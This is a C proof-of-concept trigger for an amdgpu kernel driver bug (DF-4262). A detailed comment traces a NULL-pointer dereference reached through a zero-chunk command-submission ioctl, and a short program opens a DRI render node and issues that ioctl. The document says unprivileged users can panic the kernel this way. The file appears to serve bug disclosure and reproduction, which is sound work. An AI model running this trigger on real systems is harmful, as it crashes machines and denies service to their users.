/*
 * DF-4262 — amdgpu CS ioctl with num_chunks == 0
 * ===============================================
 * Bug: amdgpu_cs_parser_init() (sys/dev/drm/amd/amdgpu/amdgpu_cs.c:114-115)
 *      returns EARLY SUCCESS when cs->in.num_chunks == 0, before
 *      amdgpu_ctx_get(), before amdgpu_job_alloc() (which would have rejected
 *      num_ibs==0 — amdgpu_job.c:55-56), and without touching p->chunks.
 *      The parser was zero-initialized by the ioctl handler
 *      (amdgpu_cs.c:1280: `struct amdgpu_cs_parser parser = {};`), so
 *      p->job == NULL and p->entity == NULL.
 *
 *      amdgpu_cs_ioctl() then calls amdgpu_cs_ib_fill() (amdgpu_cs.c:1296).
 *      The fill loop (amdgpu_cs.c:991) is skipped (`i < parser->nchunks`
 *      is 0<0), and the very next statement (amdgpu_cs.c:1048):
 *
 *          ring = to_amdgpu_ring(parser->entity->rq->sched);
 *
 *      dereferences parser->entity == NULL.  rq is the second member of
 *      struct drm_sched_entity (offset 16 — sys/dev/drm/include/drm/
 *      gpu_scheduler.h:81), so the kernel faults reading address 0x10 in
 *      kernel mode: fatal trap 12, panic. Unprivileged: AMDGPU_CS is
 *      DRM_AUTH|DRM_RENDER_ALLOW (amdgpu_kms.c:1206).
 *
 * This trigger is self-contained (guest /usr/include has no drm headers).
 *
 * Expected on amdgpu hardware: instant kernel panic on the ioctl.
 * On this QEMU guest: no AMD GPU exists, so /dev/dri render nodes are
 * absent and the open() fails — runtime reproduction is HW-gated.
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioccom.h>
#include <errno.h>

#define DRM_IOCTL_BASE		'd'
#define DRM_COMMAND_BASE	0x40

/* union drm_amdgpu_cs (24 bytes) — sys/dev/drm/include/uapi/drm/amdgpu_drm.h */
struct drm_amdgpu_cs_in_ {
	unsigned int	ctx_id;
	unsigned int	bo_list_handle;
	unsigned int	num_chunks;
	unsigned int	_pad;
	unsigned long long chunks;	/* __u64 * to chunk headers */
};
union drm_amdgpu_cs_ {
	struct drm_amdgpu_cs_in_ in;
	struct {
		unsigned long long handle;
		unsigned long long status;
	} out;
};
#define IOCTL_AMDGPU_CS \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x04, union drm_amdgpu_cs_)

int
main(void)
{
	const char *paths[] = { "/dev/dri/renderD128", "/dev/dri/renderD129",
				"/dev/dri/card0", NULL };
	union drm_amdgpu_cs_ cs;
	int fd = -1, i;

	for (i = 0; paths[i]; i++) {
		fd = open(paths[i], O_RDWR);
		if (fd >= 0)
			break;
	}
	if (fd < 0) {
		fprintf(stderr,
		    "DF-4262: no DRI device node available (errno=%d/%s).\n"
		    "On a system with amdgpu hardware this ioctl panics the "
		    "kernel:\n  amdgpu_cs.c:114 num_chunks==0 -> early success; "
		    "amdgpu_cs.c:1048 parser->entity==NULL -> load from 0x10\n",
		    errno, strerror(errno));
		return (1);
	}

	memset(&cs, 0, sizeof(cs));
	cs.in.num_chunks = 0;	/* THE BUG: early "success" in parser init */

	/* NOT REACHED-AND-RETURNED on vulnerable hw: panics inside ioctl */
	if (ioctl(fd, IOCTL_AMDGPU_CS, &cs) < 0)
		perror("DF-4262: CS ioctl returned an error");
	else
		printf("DF-4262: CS ioctl returned, out.handle=%llu "
		    "(unexpected on a vulnerable kernel)\n", cs.out.handle);
	return (0);
}
